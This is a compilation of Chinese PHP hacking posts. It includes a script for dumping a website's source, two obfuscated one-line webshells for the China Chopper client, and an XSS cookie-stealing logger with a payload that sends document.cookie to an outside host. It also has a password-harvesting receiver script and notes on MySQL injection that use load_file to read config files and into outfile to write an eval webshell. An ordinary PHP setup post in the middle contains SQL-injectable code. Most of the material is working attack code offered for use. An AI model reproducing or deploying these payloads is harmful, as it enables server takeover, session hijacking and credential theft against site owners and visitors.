PHP整站打包程序

sunzn:信息来源T00ls成员老鬼,遇到拖源码的时候很实用,只是美工欠缺。

 

 

===========================================================================================================

<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
<title>PHP整站打包程序</title>
</head>
<body>
<form name=”myform” method=”post” action=””>

<?
ini_set(‘memory_limit’, ‘2048M’);
echo “选择要压缩的文件或目录:<br>”;
$fdir = opendir(‘./’);
while($file=readdir($fdir))
{
if($file==’.’|| $file==’..’)
continue;
echo “<input name=’dfile[]’ type=’checkbox’ value=’$file’ “.($file==basename(__FILE__)?””:”checked”).”> “;

if(is_file($file))
{
echo “<font face=\”wingdings\” size=\”5\”>2</font>&nbsp;&nbsp;$file<br>”;
}
else
{
echo “<font face=\”wingdings\” size=\”5\”>0</font>&nbsp;$file<br>”;
}
}
?>

<br>
包含下列文件类型:
<input name=”file_type” type=”text” id=”file_type” value=”” size=”50″>
<font color=”red”>
(文件类型用”|”隔开,默认空则包含任意文件,例:如果需要打包php和jpg文件,则输入”php|jpg”)
</font>
<br>
压缩文件保存到目录:
<input name=”todir” type=”text” id=”todir” value=”__zep__” size=”15″>
<font color=”red”>
(留空为本目录,必须有写入权限)
</font>
<br>
压缩文件名称:
<input name=”zipname” type=”text” id=”zipname” value=”js.zip” size=”15″>
<font color=”red”>
(.zip)
</font>
<br>
<br>
<input name=”myaction” type=”hidden” id=”myaction” value=”dozip”>
<input type=’button’ value=’反选’ onclick=’selrev();’>
<input type=”submit” name=”Submit” value=” 开始压缩 “>
<script language=’javascript’>
function selrev()
{
with(document.myform)
{
for(i=0;i<elements.length;i++)
{
thiselm = elements[i];
if(thiselm.name.match(/dfile\[]/))
thiselm.checked = !thiselm.checked;
}
}
}
</script>

<?
set_time_limit(0);
class PHPzip
{
var $file_count = 0 ;
var $datastr_len   = 0;
var $dirstr_len = 0;
var $filedata = ”; //该变量只被类外部程序访问
var $gzfilename;
var $fp;
var $dirstr=”;
var $filefilters = array();

function SetFileFilter($filetype)
{
$this->filefilters = explode(‘|’,$filetype);
}

//返回文件的修改时间格式.
//只为本类内部函数调用.
function unix2DosTime($unixtime = 0)
{
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray[‘year’] < 1980)
{
$timearray[‘year’]    = 1980;
$timearray[‘mon’]     = 1;
$timearray[‘mday’]    = 1;
$timearray[‘hours’]   = 0;
$timearray[‘minutes’] = 0;
$timearray[‘seconds’] = 0;
}
return (($timearray[‘year’] – 1980) << 25) | ($timearray[‘mon’] << 21) | ($timearray[‘mday’] << 16) | ($timearray[‘hours’] << 11) | ($timearray[‘minutes’] << 5) | ($timearray[‘seconds’] >> 1);
}

//初始化文件,建立文件目录,
//并返回文件的写入权限.
function startfile($path = ‘dodo.zip’)
{
$this->gzfilename=$path;
$mypathdir=array();

do
{
$mypathdir[] = $path = dirname($path);
} while($path != ‘.’);

@end($mypathdir);

do
{
$path = @current($mypathdir);
@mkdir($path);
} while(@prev($mypathdir));

if($this->fp=@fopen($this->gzfilename,”w”))
{
return true;
}

return false;
}

//添加一个文件到 zip 压缩包中.
function addfile($data, $name)
{
$name = str_replace(‘\\’, ‘/’, $name);
if(strrchr($name,’/’)==’/’)
return $this->adddir($name);
if(!empty($this->filefilters))
{
if (!in_array(end(explode(“.”,$name)), $this->filefilters))
{
return;
}
}
$dtime = dechex($this->unix2DosTime());
$hexdtime = ‘\x’ . $dtime[6] . $dtime[7] . ‘\x’ . $dtime[4] . $dtime[5] . ‘\x’ . $dtime[2] . $dtime[3] . ‘\x’ . $dtime[0] . $dtime[1];
eval(‘$hexdtime = “‘ . $hexdtime . ‘”;’);

$unc_len = strlen($data);
$crc = crc32($data);
$zdata   = gzcompress($data);
$c_len   = strlen($zdata);
$zdata   = substr(substr($zdata, 0, strlen($zdata) – 4), 2);

//新添文件内容格式化:
$datastr = “\x50\x4b\x03\x04”;
$datastr .= “\x14\x00”;            // ver needed to extract
$datastr .= “\x00\x00”;            // gen purpose bit flag
$datastr .= “\x08\x00”;            // compression method
$datastr .= $hexdtime;             // last mod time and date
$datastr .= pack(‘V’, $crc);             // crc32
$datastr .= pack(‘V’, $c_len);           // compressed filesize
$datastr .= pack(‘V’, $unc_len);         // uncompressed filesize
$datastr .= pack(‘v’, strlen($name));    // length of filename
$datastr .= pack(‘v’, 0);                // extra field length
$datastr .= $name;
$datastr .= $zdata;
$datastr .= pack(‘V’, $crc);                 // crc32
$datastr .= pack(‘V’, $c_len);               // compressed filesize
$datastr .= pack(‘V’, $unc_len);             // uncompressed filesize
fwrite($this->fp,$datastr); //写入新的文件内容
$my_datastr_len = strlen($datastr);
unset($datastr);

//新添文件目录信息
$dirstr = “\x50\x4b\x01\x02”;
$dirstr .= “\x00\x00”;                 // version made by
$dirstr .= “\x14\x00”;                 // version needed to extract
$dirstr .= “\x00\x00”;                 // gen purpose bit flag
$dirstr .= “\x08\x00”;                 // compression method
$dirstr .= $hexdtime;                  // last mod time & date
$dirstr .= pack(‘V’, $crc);            // crc32
$dirstr .= pack(‘V’, $c_len);          // compressed filesize
$dirstr .= pack(‘V’, $unc_len);        // uncompressed filesize
$dirstr .= pack(‘v’, strlen($name) ); // length of filename
$dirstr .= pack(‘v’, 0 );              // extra field length
$dirstr .= pack(‘v’, 0 );              // file comment length
$dirstr .= pack(‘v’, 0 );              // disk number start
$dirstr .= pack(‘v’, 0 );              // internal file attributes
$dirstr .= pack(‘V’, 32 );             // external file attributes – ‘archive’ bit set
$dirstr .= pack(‘V’,$this->datastr_len ); // relative offset of local header
$dirstr .= $name;
$this->dirstr .= $dirstr; //目录信息
$this -> file_count ++;
$this -> dirstr_len += strlen($dirstr);
$this -> datastr_len += $my_datastr_len;
}

function adddir($name)
{
$name = str_replace(“\\”, “/”, $name);
$datastr = “\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$datastr .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
$datastr .= pack(“v”, 0 ).$name.pack(“V”, 0).pack(“V”, 0).pack(“V”, 0);
fwrite($this->fp,$datastr); //写入新的文件内容
$my_datastr_len = strlen($datastr);
unset($datastr);
$dirstr = “\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$dirstr .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
$dirstr .= pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 );
$dirstr .= pack(“V”, 16 ).pack(“V”,$this->datastr_len).$name;
$this->dirstr .= $dirstr; //目录信息
$this -> file_count ++;
$this -> dirstr_len += strlen($dirstr);
$this -> datastr_len += $my_datastr_len;
}

function createfile()
{
//压缩包结束信息,包括文件总数,目录信息读取指针位置等信息
$endstr = “\x50\x4b\x05\x06\x00\x00\x00\x00” .
pack(‘v’, $this -> file_count) .
pack(‘v’, $this -> file_count) .
pack(‘V’, $this -> dirstr_len) .
pack(‘V’, $this -> datastr_len) .
“\x00\x00”;
fwrite($this->fp,$this->dirstr.$endstr);
fclose($this->fp);
}
}

if(!trim($_REQUEST[zipname]))
$_REQUEST[zipname] = “dodozip.zip”;
else
$_REQUEST[zipname] = trim($_REQUEST[zipname]);

if(!strrchr(strtolower($_REQUEST[zipname]),’.’)==’.zip’)
$_REQUEST[zipname] .= “.zip”;

$_REQUEST[todir] = str_replace(‘\\’,’/’,trim($_REQUEST[todir]));

if(!strrchr(strtolower($_REQUEST[todir]),’/’)==’/’)
$_REQUEST[todir] .= “/”;

if($_REQUEST[todir]==”/”)
$_REQUEST[todir] = “./”;

function listfiles($dir=”.”)
{
global $dodozip;
$sub_file_num = 0;
if(is_file(“$dir”))
{
if(realpath($dodozip ->gzfilename)!=realpath(“$dir”))
{
$dodozip -> addfile(implode(”,file(“$dir”)),”$dir”);
return 1;
}
return 0;
}

$handle=opendir(“$dir”);
while ($file = readdir($handle))
{
if($file==”.”||$file==”..”)
continue;

if(is_dir(“$dir/$file”))
{
$sub_file_num += listfiles(“$dir/$file”);
}
else
{
if(realpath($dodozip ->gzfilename)!=realpath(“$dir/$file”))
{
$dodozip -> addfile(implode(”,file(“$dir/$file”)),”$dir/$file”);
$sub_file_num ++;
}
}
}

closedir($handle);

if(!$sub_file_num)
$dodozip -> addfile(“”,”$dir/”);

return $sub_file_num;
}

function num_bitunit($num)
{
$bitunit=array(‘ B’,’ KB’,’ MB’,’ GB’);
for($key=0;$key<count($bitunit);$key++)
{
if($num>=pow(2,10*$key)-1)
{ //1023B 会显示为 1KB
$num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100).” $bitunit[$key]”;
}
}
return $num_bitunit_str;
}

if(is_array($_REQUEST[dfile]))
{
$dodozip = new PHPzip;
if($_REQUEST[“file_type”] != NULL)
$dodozip -> SetFileFilter($_REQUEST[“file_type”]);
if($dodozip -> startfile(“$_REQUEST[todir]$_REQUEST[zipname]”))
{
echo “正在添加压缩文件…<br><br>”;
$filenum = 0;
foreach($_REQUEST[dfile] as $file)
{
if(is_file($file))
{
if(!empty($dodozip -> filefilters))
if (!in_array(end(explode(“.”,$file)), $dodozip -> filefilters))
continue;
echo “<font face=\”wingdings\” size=\”5\”>2</font>&nbsp;&nbsp;$file<br>”;
}
else
{
echo “<font face=\”wingdings\” size=\”5\”>0</font>&nbsp;$file<br>”;
}
$filenum += listfiles($file);
}
$dodozip -> createfile();

echo “<br>压缩完成,共添加 $filenum 个文件.<br><a href=’$_REQUEST[todir]$_REQUEST[zipname]’ _fcksavedurl=’$_REQUEST[todir]$_REQUEST[zipname]’>$_REQUEST[todir]$_REQUEST[zipname] (“.num_bitunit(filesize(“$_REQUEST[todir]$_REQUEST[zipname]”)).”)</a>”;
}
else
{
echo “$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>”;
}
}
?>
</form>
<hr color=”#003388″>

</body>
</html>
===========================================================================================================

PHP的开始-PHP环境的搭建

说到PHP,我脑海中最先浮现的就是《社交网络》中Mark在寝室中用PHP编写Facemash的画面。这也是我学习PHP的原因之一。PHP的优点我就不罗嗦了,看看那些使用PHP+MySQL技术的国内外著名网站就知道了。学习一门语言,就得从搭建开发环境开始。

我使用的是Windows7操作系统,在Windows平台上搭建PHP的开发环境可以下载WAMP(Windows、Apache、MySQL、PHP的首字母缩写)集成化安装包。这样就不需要单独安装Apache、MySQL和PHP了。由于有些人的电脑已经安装了IIS,IIS的默认端口是80端口而Apache也使用的是80端口,解决冲突的办法不止一种,可以修改Apache安装目录下httpd.conf文件,停用IIS等。我个人采用的方法是将IIS的默认端口修改为81端口。方法如下,打开IIS管理器,选择“Default Web Site”,点击右侧的“绑定”,即可修改端口了。

运行wampServer,点击Apache,在Service目录下有个测试80端口。除了IIS之外,有许多软件也会占用80端口,如迅雷、酷狗。

解决了端口冲突问题之后,需要对PHP进行相关设置。在“short open tag”这儿打钩并去掉“display errors”前面的钩。这样就能支持<??>这种标签了。

至于IDE,个人目前使用的是eclipse,口碑较好的还有zend studio等等。这里就介绍如何使eclipse支持PHP。首先,得先下载一个eclipse。安装完成后,运行eclipse,在主界面里找到Help下的“Instal New Software”。

然后在Work with中选择“All Available Sites”。

稍等片刻之后,在“programming language”中找到PDT,一路NEXT下去就OK了。

安装PDT之后,就可以使用eclipse编写PHP了。

下面来讲一个我今天学习当中遇到的疑惑。先看下代码:

[php]

<?php
include(“conn.php”);
if($_POST[‘submit’])//1
{
$sql=”insert into message(id,user,title,content,lastdate)”.
“values(”,’$_POST[user]’,’$_POST[title]’,’$_POST[content]’,now())”;//2
mysql_query($sql);
echo “提交成功!”;
}
?>
<form action=”add.php” method=”post”>
用户:<input type=”text” name=”user”><br>
标题:<input type=”text” name=”title”><br>
内容:<textarea name=”content”></textarea><br>
<input type=”submit” name=”submit” value=”提交”><br>
</form>

[/php]

仔细看1处和2处的代码,可以发现1处的submit前后各有一个单引号,而在2处user等都未加单引号。如果去掉1处的单引号,程序会弹警告,而给2处的添加单引号则会报错。这是为什么呢?

其实呢,加不加单引号并没有太大区别。唯一的区别就是加单引号的效率比不加引号效率高,原因在于,不加单引号的$_POST[submit],php会先去检查php全文中是否有定义submit这个常量,如果找不到,才会把submit当着字符串,然后去找$_POST[‘submit’]的值;而如果加了引号,就不会有去判断submit是否为常量这一步,而是直接找$_POST[‘submit’]的值;所以,最好是每个地方都应该加上引号,至于sql语句里面加单引号出错,那是在sql语句中,外面已经用了单引号,里面还用单引号,自然会造成sql语句出错,此时需要进行斜杠转义。

变形的PHP一句话

牛人们分享的两个变形的PHP一句话,非常之隐蔽

First:1.php

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

菜刀里写:http://localhost/1.php?2=assert
密码:1

Second:2.php

<?php
$_=””;
$_[+””]=”;
$_=”$_”.””;
$_=($_[+””]|””).($_[+””]|””).($_[+””]^””);
?>
<?php ${‘_’.$_}[‘_’](${‘_’.$_}[‘__’]);?>

菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘pass’])
密码:pass

BAE中用php代码获取cookie


 原来有一个很经典的PHP获取COOKIE的代码,直接用fopen写入本地文件记录所获得的cookie。代码如下。

 

<?php

$ip = $_SERVER[‘REMOTE_ADDR’];

$referer = $_SERVER[‘HTTP_REFERER’];

$agent = $_SERVER[‘HTTP_USER_AGENT’];

$data = $_GET[c][/c];

$time = date(“Y-m-d G:i:s A”);

$text = “<br><br>”.$time.” = “.$ip.”<br><br>User Agent: “.$agent.”<br>Referer: “.$referer.”<br>Session: “.$data.”<br><br><br>”;

$file = fopen(‘cookie.txt’ , ‘a’);

fwrite($file,$text);

fclose($file);

header(“Location: http://www.google.com” );  //用header函数跳转到谷歌网站,伪装好点直接跳回XSS当前网站

?>

 

但是在SAE和BAE中,限制了使用文档函数,因此fopen()是无法在SAE和BAE使用的,那么我们就换一种思路,利用可以在其中使用的信息记录方法。

到这里我们就很自然的会想到利用数据库,将所获取的COOKIE数据存入数据库中,那到底行不行呢?我们就用BAE来尝试一下。

 

a.php中我们首先设置连接到数据库,然后用PHP中的$_GET获得cookie数据存入利用SQL语句存入数据库中。

 

<?php

/*从平台获取查询要连接的数据库名称*/

$dbname = ‘******************’;   //  *号为你本人的MYSQL数据库名,用过的人懂得啦!

 

/*从环境变量里取出数据库连接需要的参数*/

$host = getenv(‘HTTP_BAE_ENV_ADDR_SQL_IP’);

$port = getenv(‘HTTP_BAE_ENV_ADDR_SQL_PORT’);

$user = getenv(‘HTTP_BAE_ENV_AK’);

$pwd = getenv(‘HTTP_BAE_ENV_SK’);

 

/*接着调用mysql_connect()连接服务器*/

$link = @mysql_connect(“{$host}:{$port}”,$user,$pwd,true) or die (“无法连接数据库主机”);

if(!$link) {

die(“Connect Server Failed”);

}

/*连接成功后立即调用mysql_select_db()选中需要连接的数据库*/

if(!mysql_select_db($dbname,$link)) {

die(“Select Database Failed: ” . mysql_error($link));

}

 

/*至此连接已完全建立,就可对当前数据库进行相应的操作了*/

/*!!!注意,无法再通过本次连接调用mysql_select_db来切换到其它数据库了!!!*/

/* 需要再连接其它数据库,请再使用mysql_connect+mysql_select_db启动另一个连接*/

 

/**

* 接下来就可以使用其它标准php mysql函数操作进行数据库操作

*/

 

$ip = $_SERVER[‘REMOTE_ADDR’];

$referer = $_SERVER[‘HTTP_REFERER’];

$agent = $_SERVER[‘HTTP_USER_AGENT’];

$data = $_GET[c][/c];

$time = date(“Y-m-d G:i:s A”);

$sql=”insert into COOKIE (`IP`,`REFERER`,`AGENT`,`DATA`,`TIME`) values (‘$ip’,’$referer’,’$agent’,’$data’,’$time’)”;

mysql_query($sql); //数据写入数据库

 

/*显式关闭连接,非必须*/

mysql_close($link);

?>

 

OK,这个php文件构造好了,我们在到MYSQL中创建一个带有以上元素的TABLE COOKiE吧。

创建完毕后,我们在用测试代码试一试效果看行不行吧。测试代码如下:

 

<script>document.write(‘<img src=”http://h4cker.duapp.com/a.php?c=’+document.cookie+’”/>’);</script>

 

然后找一个存在XSS的网站试一下吧,我自己写了一个test.html进行测试:

 

Test.html:

 

<script>alert(document.cookie);document.write(‘<img src=”http://h4cker.duapp.com/a.php?c=’+document.cookie+’”/>’);</script>

 

用IE打开后,窗口弹出,代码执行后,让我们看看我们的COOKIE有木有出现在MYSQL数据库中呢?

发现我们的COOKIE已经穿在了亲爱的MYSQL数据库中,大功告成,最后要做的就是要写一个表格形式的showcookies.php将数据库中获得的COOKIE读并显示出来。

 

本文为YunDay安全组原创,转载请务必保留署名与链接!
《BAE中用php代码获取cookie》 by P1n9y_fly@YunDay:    
http://www.yunday.org/?p=19

php的收信程序一个

非常简单..擦,也忒简单了。这货

[php]
<?php
$name = $_GET[name];                           /* 获取提交的 用户*/
$pass = $_GET[pass];                             /* 获取提交的  密码*/
$open = fopen("box.txt", "a+");                /* 以一个追加文件尾写入的方式打开一个名为box.txt的文件,木有则创建*/
fwrite($open, $name."——-".$pass."                       ".date("Y–m–d")."\r\n");                   /* 在box.txt里面写入我们提交的数据,后面加上时间戳*/
fclose($open);                                        /* 关闭打开数据流对象指针*/
?>
[/php]

使用的格式和我们平常的那个asp收信程序是一样的     例如     **.php?name=123456&pass=654321
可以根据自己的需求修改。

php/mysql load_file/outfile与多语句注入入侵总结

1.outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\’,那么基本没的玩了。

唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。

2.load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

3..load_file可以在union中作为一个字段来用。如union select 1,load_file(‘c:/boot.ini’),3,4 from ka_admin等。

4.load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1

5.load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file(‘c:/windows/notepad.exe’)),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。

6.outfile一句话(经典):select ‘<?php eval($_POST[cmd])?>’ into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

或者从表中

select * from a into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

7.关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。

有的注入可以,主要看php中是否设定:$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, 0);   属性